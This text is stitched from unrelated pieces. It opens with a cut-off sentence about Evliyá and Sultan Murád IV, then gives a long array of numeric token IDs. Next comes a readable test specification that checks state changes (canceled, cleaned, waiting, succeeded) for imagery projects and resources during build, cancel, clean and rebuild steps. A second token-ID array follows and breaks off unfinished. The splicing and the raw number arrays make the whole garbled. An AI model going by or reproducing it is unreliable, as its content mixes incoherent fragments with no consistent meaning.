since in his account of the reign of Sultán Murád IV. he states that he was just in time, after his return from Mecca through Egypt, to share in the glory of the victory gained by Murtezá Páshá over the Druzes, in the year 1059. Now Evliyá’s account of this
[ 36885, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 510, 2199, 588, 417, 1265, 3652, 969, 1293, 2608, 3280, 187, 11, 2213, 2123, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 187, 36885, 8049, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 346, 36, 1377, 17371, 3, 187, 187, 36272, 8049, 187, 11, 24373, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 346, 13378, 20625, 3, 187, 187, 1785, 7973, 8049, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 187, 11, 21050, 323, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 281, 3986, 1375, 346, 52, 1028, 49930, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 4553, 36885, 3, 310, 346, 52, 1028, 49930, 3, 187, 187, 817, 24373, 285, 330, 18721, 8049, 285, 22106, 13, 2635, 1720, 7973, 8049, 187, 31095, 27, 14002, 13, 4076, 13, 21058, 13, 21550, 187, 187, 10987, 187, 11, 13119, 285, 1973, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 187, 36885, 22106, 285, 8049, 187, 11, 330, 18721, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 187, 1785, 7973, 8049, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 21050, 272, 50274, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 187, 36885, 22106, 285, 8049, 187, 11, 330, 18721, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 187, 36272, 22106, 285, 8049, 187, 11, 24373, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 13378, 20625, 3, 187, 11, 24373, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 13378, 20625, 3, 187, 187, 1785, 7973, 8049, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 21050, 272, 50274, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 22036, 9709, 934, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 50276, 93, 322, 1028, 49930, 50276, 93, 187, 11, 21050, 323, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 281, 3986, 1375, 346, 52, 1028, 49930, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 3888, 323, 4284, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 36272, 36885, 1785, 7973, 11695, 3, 310, 346, 52, 1028, 49930, 3, 187, 187, 817, 19242, 6512, 543, 272, 281, 20815, 39607, 187, 31095, 27, 10796, 287, 720, 13, 1973, 13, 14002, 13, 4076, 13, 21550, 187, 187, 4531, 598, 187, 11, 13119, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 13119, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 11, 13119, 27471, 7741, 346, 22036, 9709, 934, 64, 22495, 11695, 3, 432, 346, 3351, 356, 1771, 16, 1559, 86, 358, 274, 934, 64, 21, 10294, 15, 40165, 3, 187, 11, 5733, 27471, 7741, 346, 22036, 9709, 934, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 5733, 27471, 7741, 346, 22036, 9709, 934, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 11, 13119, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 432, 346, 3351, 356, 1771, 16, 316, 5943, 45, 266, 20794, 15, 40165, 3, 187, 11, 5733, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 5733, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 281, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 187, 10987, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 187, 36885, 22106, 187, 11, 330, 18721, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 11144, 264, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 11144, 264, 3, 187, 187, 10987, 22106, 187, 11, 11103, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13689, 272, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 36885, 285, 24373, 22106, 187, 11, 330, 18721, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 24373, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 346, 13378, 20625, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 11144, 264, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 11144, 264, 3, 187, 187, 10987, 22106, 187, 11, 11103, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 11103, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13689, 272, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 36885, 8049, 187, 11, 330, 18721, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 36, 1377, 17371, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 36272, 8049, 187, 11, 24373, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13378, 20625, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 7741, 346, 3016, 40, 7084, 266, 20794, 64, 22495, 11695, 3, 310, 275, 187, 50276, 93, 2418, 50272, 93, 187, 50276, 93, 2912, 93, 187, 50276, 93, 496, 25155, 1040, 187, 50276, 93, 7035, 2107, 50273, 93, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 310, 346, 13689, 272, 3, 187, 187, 13689, 323, 2199, 374, 281, 1973, 187, 11, 21050, 323, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 19, 3, 281, 3986, 1375, 346, 52, 1028, 49930, 3, 187, 11, 7188, 1419, 326, 253, 1375, 273, 27471, 2199, 346, 5443, 21389, 356, 318, 5089, 64, 22495, 11695, 18, 3, 310, 346, 13378, 20625, 3, 187 ]	Cancel" is in \| State \| \|------------\| \| InProgress \| \| Queued \| \| Succeeded \| The project will not start building again without user input * Resume imagery project "StatePropagationTest_CleanAfterCancel" Cancel Project * Cancel imagery project "StatePropagationTest_CleanAfterCancel" * Verify that the state of images for default project "StatePropagationTest_CleanAfterCancel" is in \| State \| \|------------\| \| InProgress \| \| Queued \| \| Succeeded \| * Verify that the state of imagery project "StatePropagationTest_CleanAfterCancel" is "Canceled" Clean Project * Clean imagery project "StatePropagationTest_CleanAfterCancel" * Verify that the state of images for default project "StatePropagationTest_CleanAfterCancel" is in \| State \| \|------------\| \| InProgress \| \| Queued \| \| Succeeded \| * Verify that the state of imagery project "StatePropagationTest_CleanAfterCancel" is "Cleaned" Rebuild Project * Build imagery project "StatePropagationTest_CleanAfterCancel" * Wait for imagery project "StatePropagationTest_CleanAfterCancel" to reach state "Succeeded" * Verify that the state of images for default project "StatePropagationTest_CleanAfterCancel" is "Succeeded" ## Clean and Cancel Project and Resource, Then Rebuild Project Tags: cancel, clean, resume, rebuild Build * Create and build default project "StatePropagationTest_CleanCancelRebuildProject" Cancel Resource and Project * Cancel imagery resource "BlueMarble_CleanCancelRebuildProject" * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is "Canceled" * Cancel imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is "Canceled" Rebuild Project * Build imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is in \| State \| \|------------\| \| Waiting \| \| InProgress \| \| Queued \| * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is in \| State \| \|------------\| \| InProgress \| \| Queued \| Cancel Resource and Project * Cancel imagery resource "BlueMarble_CleanCancelRebuildProject" * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is "Canceled" * Cancel imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is "Canceled" Clean Resource and Project * Clean imagery resource "BlueMarble_CleanCancelRebuildProject" * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is "Cleaned" * Clean imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is "Cleaned" Rebuild Project * Build imagery project "StatePropagationTest_CleanCancelRebuildProject" * Verify that the state of imagery project "StatePropagationTest_CleanCancelRebuildProject" is in \| State \| \|------------\| \| Waiting \| \| InProgress \| \| Queued \| \| Succeeded \| * Verify that the state of imagery resource "BlueMarble_CleanCancelRebuildProject" is in \| State \| \|------------\| \| InProgress \| \| Queued \| \| Succeeded \| * Wait for imagery project "StatePropagationTest_CleanCancelRebuildProject" to reach state "Succeeded" * Verify that the state of images for default project "StatePropagationTest_CleanCancelRebuildProject" is "Succeeded" ## Resources Belonging to Multiple Projects Tags: multiproject, build, cancel, clean, rebuild Set up * Create imagery project "StatePropagationTest_MultiProject1" * Create imagery project "StatePropagationTest_MultiProject2" * Create imagery resource "BlueMarble_MultiProject" from "Imagery/bluemarble_4km.tif" * Add imagery resource "BlueMarble_MultiProject" to project "StatePropagationTest_MultiProject1" * Add imagery resource "BlueMarble_MultiProject" to project "StatePropagationTest_MultiProject2" * Create imagery resource "USGSLanSat_MultiProject" from "Imagery/usgsLanSat.tif" * Add imagery resource "USGSLanSat_MultiProject" to project "StatePropagationTest_MultiProject1" * Add imagery resource "USGSLanSat_MultiProject" to project "StatePropagationTest_MultiProject2" Build * Build imagery project "StatePropagationTest_MultiProject1" * Build imagery project "StatePropagationTest_MultiProject2" Cancel Resource * Cancel imagery resource "USGSLanSat_MultiProject" * Verify that the state of imagery resource "USGSLanSat_MultiProject" is "Canceled" * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Blocked" * Verify that the state of imagery project "StatePropagationTest_MultiProject2" is "Blocked" Build Resource * Build imagery resource "USGSLanSat_MultiProject" * Verify that the state of imagery resource "USGSLanSat_MultiProject" is in \| State \| \|------------\| \| InProgress \| \| Queued \| * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Waiting" * Verify that the state of imagery project "StatePropagationTest_MultiProject2" is "Waiting" Cancel and Clean Resource * Cancel imagery resource "USGSLanSat_MultiProject" * Clean imagery resource "USGSLanSat_MultiProject" * Verify that the state of imagery resource "USGSLanSat_MultiProject" is "Cleaned" * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Blocked" * Verify that the state of imagery project "StatePropagationTest_MultiProject2" is "Blocked" Build Resource * Build imagery resource "USGSLanSat_MultiProject" * Verify that the state of imagery resource "USGSLanSat_MultiProject" is in \| State \| \|------------\| \| InProgress \| \| Queued \| * Build imagery project "StatePropagationTest_MultiProject1" * Build imagery project "StatePropagationTest_MultiProject2" * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Waiting" * Verify that the state of imagery project "StatePropagationTest_MultiProject2" is "Waiting" Cancel Project * Cancel imagery project "StatePropagationTest_MultiProject1" * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Canceled" * Verify that the state of imagery resource "USGSLanSat_MultiProject" is in \| State \| \|------------\| \| InProgress \| \| Queued \| * Verify that the state of imagery project "StatePropagationTest_MultiProject2" is "Waiting" Clean Project * Clean imagery project "StatePropagationTest_MultiProject1" * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Cleaned" * Verify that the state of imagery resource "USGSLanSat_MultiProject" is in \| State \| \|------------\| \| InProgress \| \| Queued \| * Verify that the state of imagery project "StatePropagationTest_MultiProject2" is "Waiting" Wait for project 2 to build * Wait for imagery project "StatePropagationTest_MultiProject2" to reach state "Succeeded" * Verify that the state of imagery project "StatePropagationTest_MultiProject1" is "Cleaned"
[ 12226, 457, 84, 6023, 254, 34583, 13, 17386, 407, 47635, 15, 733, 369, 3253, 368, 651, 1902, 432, 247, 47635, 3128, 27, 6838, 327, 1140, 365, 13505, 594, 1875, 689, 253, 11012, 5254, 13, 11996, 2579, 275, 3055, 1766, 21992, 13, 32366, 398, 342, 1629, 11548, 1031, 14, 498, 324, 3210, 4882, 9368, 273, 43172, 27, 5418, 473, 793, 13, 247, 7512, 32405, 342, 8914, 285, 37635, 281, 17019, 253, 47635, 7324, 13, 285, 247, 22533, 326, 5561, 264, 253, 2419, 347, 3563, 347, 952, 651, 3297, 15, 309, 574, 247, 4839, 281, 2525, 4744, 322, 11822, 432, 443, 14906, 13, 12939, 342, 330, 264, 695, 714, 34113, 903, 273, 12751, 80, 28546, 23898, 285, 753, 247, 3158, 23120, 281, 353, 9720, 473, 4530, 432, 44925, 15, 1876, 273, 436, 13, 285, 359, 8715, 457, 85, 1014, 1160, 352, 281, 253, 16620, 2568, 15, 187, 187, 4553, 247, 3563, 2360, 13, 1097, 387, 253, 6023, 254, 34583, 285, 275, 2710, 9956, 273, 253, 7874, 1023, 3743, 846, 13, 309, 369, 9995, 323, 247, 3468, 1265, 7814, 4131, 15, 2752, 3167, 285, 309, 4352, 12561, 387, 253, 7874, 1023, 3743, 36241, 285, 840, 8085, 323, 247, 1643, 3038, 1108, 779, 281, 253, 39072, 13, 479, 896, 281, 253, 2316, 323, 690, 4028, 15, 844, 8756, 1261, 264, 323, 253, 322, 37333, 16428, 10850, 18165, 816, 1078, 767, 13, 285, 11346, 11157, 327, 253, 1039, 281, 253, 5008, 4055, 15, 380, 2502, 23656, 4455, 281, 8778, 407, 13, 285, 1078, 1048, 359, 497, 275, 776, 13512, 327, 253, 987, 1930, 273, 253, 2022, 3924, 15, 309, 457, 306, 1620, 644, 281, 16620, 921, 13, 594, 352, 369, 4722, 281, 923, 849, 253, 3153, 921, 2427, 745, 15, 26298, 15435, 13680, 2210, 327, 816, 1078, 1841, 1694, 3053, 281, 1918, 441, 247, 1652, 268, 554, 2312, 670, 253, 10061, 285, 755, 253, 2316, 11226, 598, 323, 253, 16620, 15, 187, 187, 510, 921, 3139, 369, 3965, 4484, 1108, 427, 6663, 310, 1900, 794, 281, 3698, 285, 627, 497, 690, 1077, 4484, 18655, 15, 2752, 7583, 629, 273, 253, 7237, 369, 11298, 281, 7924, 36800, 1347, 521, 10014, 323, 322, 37333, 457, 84, 10850, 273, 253, 10519, 13, 4410, 16631, 4410, 22615, 15, 1310, 368, 6468, 457, 85, 4546, 253, 2165, 13, 352, 457, 84, 1892, 281, 11435, 849, 1199, 10825, 2802, 24234, 37811, 457, 4245, 281, 9384, 7873, 457, 84, 8113, 273, 247, 4956, 8935, 13, 533, 368, 812, 1928, 253, 299, 24763, 12415, 347, 344, 4546, 15, 1284, 629, 273, 253, 921, 13, 359, 671, 1694, 281, 923, 47958, 323, 7532, 12032, 495, 13, 3262, 408, 48777, 6304, 7608, 80, 457, 84, 6995, 1351, 13, 380, 34806, 43103, 84, 657, 27, 16194, 3428, 13, 285, 914, 21341, 264, 495, 13, 512, 327, 271, 14779, 3601, 15, 380, 921, 4750, 2210, 1475, 28557, 281, 7257, 6867, 305, 13429, 2739, 13, 342, 247, 2372, 273, 247, 19152, 15, 844, 574, 22534, 38829, 1160, 342, 305, 2061, 16430, 6836, 13, 1499, 5852, 285, 246, 727, 281, 1641, 13, 285, 10610, 3167, 405, 36895, 15, 187, 187, 4553, 253, 16620, 921, 352, 369, 745, 281, 611, 34055, 5973, 387, 12226, 418, 11477, 13, 253, 14608, 28974, 326, 14516, 30416, 1868, 5197, 15, 611, 34055, 5973, 310, 3164, 1682, 2529, 347, 247, 4980, 256, 34485, 2534, 323, 253, 2448, 45238, 15, 380, 17114, 403, 2969, 533, 17319, 15, 309, 18739, 26540, 611, 34055, 5973, 530, 70, 4635, 457, 84, 27936, 4789, 23773, 342, 2101, 2576, 308, 9821, 275, 13483, 5431, 10827, 323, 14664, 292, 492, 698, 313, 255, 581, 1127, 13, 776, 4771, 2686, 2546, 604, 703, 943, 816, 3553, 253, 23361, 1108, 619, 3662, 27, 4754, 481, 611, 34055, 5973, 369, 10090, 896, 13, 7107, 2217, 326, 309, 812, 4264, 253, 2567, 273, 690, 7715, 11864, 18288, 398, 432, 4591, 554, 457, 84, 17372, 3420, 3906, 15, 7243, 309, 574, 6699, 253, 1390, 2372, 273, 42028, 246, 9821, 275, 253, 1659, 13, 359, 2427, 896, 281, 253, 7874, 1023, 3743, 36591, 323, 17208, 1078, 3722, 15, 187, 187, 1147, 651, 320, 10458, 281, 1333, 2217, 1175, 670, 253, 2793, 15, 6295, 4591, 554, 285, 322, 37333, 403, 7126, 9845, 398, 13, 285, 253, 322, 37333, 657, 40, 1909, 497, 253, 3962, 1659, 281, 19837, 253, 9368, 273, 43172, 27, 5418, 473, 793, 11166, 411, 17943, 2146, 15, 1310, 368, 2455, 452, 253, 4839, 281, 755, 281, 12226, 323, 247, 8849, 13, 33694, 352, 285, 1053, 457, 85, 1007, 896, 15, 1422, 457, 620, 1620, 320, 2159, 327, 1841, 281, 513, 13, 285, 604, 368, 457, 250, 689, 2822, 253, 30416, 1868, 5197, 13, 320, 2119, 281, 755, 4834, 690, 27936, 4789, 23773, 342, 2101, 2576, 308, 9821, 15, 187, 187, 2214, 625, 670, 253, 322, 37333, 16428, 10850, 18165, 13, 320, 2119, 281, 2451, 562, 776, 16791, 5311, 13, 32005, 1417, 443, 13429, 15, 309, 457, 620, 320, 10985, 2067, 273, 253, 43400, 275, 625, 2508, 285, 16585, 253, 10825, 273, 4619, 16620, 275, 16791, 4466, 689, 253, 1735, 1643, 1897, 15, 38537, 1501, 407, 9915, 11826, 649, 187, 187, 55, 571, 367, 43, 56, 187, 187, 20349, 10053, 3778, 33243, 6948, 4931, 253, 6459, 15975, 2455, 6926, 4131, 327, 7879, 15, 187, 187, 3125, 8112, 2637, 27, 6729, 21978, 327, 443, 968, 6121, 4281, 2287, 18485, 8907, 10916, 641, 4058, 399, 3184, 686, 10548, 6477, 8, 285, 9272, 5566, 49588, 327, 6413, 2111, 37947, 22593, 20539, 1457, 3918, 4235, 1575, 496, 187, 187, 26190, 271, 4964, 253, 3918, 457, 84, 15975, 574, 689, 247, 2233, 13, 933, 851, 664, 1507, 285, 253, 7336, 285, 44986, 497, 490, 86, 4396, 15, 380, 15975, 556, 4829, 2716, 247, 3041, 13052, 3063, 15, 187, 187, 15545, 327, 3081, 20541, 432, 3918, 3778, 457, 84, 1897, 275, 253, 5818, 13, 359, 778, 320, 275, 4657, 323, 625, 16098, 1852, 39, 8504, 1852, 39, 42433, 19537, 34525, 28311, 275, 253, 2852, 15, 187, 187, 6080, 10995, 4292, 327, 253, 7336, 452, 2168, 3562, 3081, 443, 3801, 457, 84, 323, 253, 3918, 4645, 253, 3918, 4933, 1852, 39, 8504, 1529, 7171, 1066, 2, 187, 187, 17534, 401, 640, 6317, 16098, 285, 1024, 22864, 438, 6317, 16098, 1620, 943, 452, 12293, 275, 253, 5818, 15, 510, 1023, 39796, 1916, 41805, 25694, 27, 187, 187, 510, 1023, 39796, 1916, 41805, 25694, 27, 187, 187, 34361, 32094, 281, 1978, 5987, 1358, 2700, 15, 14091, 900, 20, 4698, 8211, 15, 681, 16, 21922, 16, 339, 80, 16, 273, 634, 8548, 5211, 281, 1978, 253, 4384, 9137, 323, 16099, 1566, 5875, 15, 1422, 476, 626, 30258, 5408, 33496, 6383, 281, 1978, 21016, 432, 368, 390, 281, 452, 1175, 1841, 281, 1375, 670, 634, 2579, 15, 401, 41114, 27163, 476, 320, 4270, 598, 949, 28106, 253, 954, 16383, 3238, 1896, 15, 844, 452, 2686, 13037, 690, 9600, 281, 10073, 368, 2572, 634, 2670, 8288, 342, 323, 16099, 949, 5268, 13212, 15, 187, 187, 6288, 1981, 247, 4384, 9137, 323, 16099, 588, 9403, 1379, 247, 2257, 625, 673, 685, 368, 806, 1902, 13, 594, 352, 434, 1774, 326, 368, 5514, 9038, 2217, 273, 634, 1495, 281, 1663, 3515, 352, 15, 27529, 13, 673, 285, 1270, 13330, 273, 25306, 403, 512, 3058, 323, 247, 43377, 2136, 281, 5100, 15, 6521, 5532, 253, 1563, 4384, 2670, 665, 403, 7138, 14, 1826, 281, 2670, 25021, 323, 16010, 12851, 8722, 1512, 1199, 512, 387, 2378, 15, 380, 760, 1039, 281, 3693, 1146, 29991, 407, 253, 17973, 273, 6498, 634, 2579, 310, 281, 24565, 690, 273, 731, 281, 2571, 15, 187, 187, 24441, 16255, 653, 28444, 5559, 2752, 10518, 27, 5037, 626, 4517, 731, 2, 187, 187, 24441, 16255, 653, 28444, 5559, 2752, 10518, 27, 5037, 626, 4517, 731, 2, 9859, 807, 13, 309, 4159, 247, 5313, 9713, 281, 30278, 4413, 4645, 849, 1199, 597, 497, 653, 28444, 5559, 33861, 285, 4933, 253, 4491, 247, 3076, 12681, 15, 1310, 309, 4307, 387, 5559, 13, 436, 1511, 273, 5017, 651, 1056, 479, 9239, 30278, 4413, 285, 452, 642, 8327, 281, 1361, 731, 15, 187, 187, 7093, 2670, 943, 3553, 271, 7094, 6485, 13214, 604, 368, 5730, 281, 3464, 12085, 15, 380, 1682, 1332, 281, 755, 581, 310, 281, 2968, 342, 247, 4422, 17039, 342, 247, 1270, 3540, 1924, 15, 329, 4422, 4419, 281, 417, 816, 789, 13, 533, 878, 281, 671, 320, 25910, 37902, 275, 1340, 281, 3812, 6383, 275, 15, 9018, 45166, 253, 